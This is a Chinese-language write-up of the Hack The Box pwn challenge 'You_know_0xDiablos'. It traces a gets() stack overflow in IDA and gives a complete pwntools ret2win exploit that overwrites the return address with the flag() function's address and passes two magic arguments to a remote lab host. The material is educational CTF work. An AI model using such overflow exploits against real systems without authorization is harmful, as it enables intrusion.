HTB You_know_0xDiablos Writeup
题目

观察
用IDA打开文件:

查看vuln()
发现gets()
漏洞:

除此之外并没有别的发现了,所以查看Exports
:

发现一个很可疑的flag函数:

发现只要调用这个函数的时候传递了合适的参数便可以直接获得flag。
最后再来查看一下vuln()
的Stack的结构:

(上面是180位的s)
以及flag
的Stack的结构:

注意到
1
| +0000000000000000 _DWORD __saved_registers;
|
的地址是0,所以说我们只需要管(填充覆盖)后面的部分,即:
1 2 3
| +0000000000000004 _UNKNOWN *__return_address; +0000000000000008 _DWORD arg_0; +000000000000000C _DWORD arg_4;
|
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import *
r = remote("94.237.54.192", 43134)
a1 = -559038737 a2 = -1059139571
a1_hex = p32(a1, signed=True) a2_hex = p32(a2, signed=True) response = r.recvline()
payload = b"A" * (180+4+4) payload += p32(0x080491E2) payload += b"B" * 4 payload += a1_hex payload += a2_hex
r.sendline(payload)
r.recvline()
print(r.recvline())
|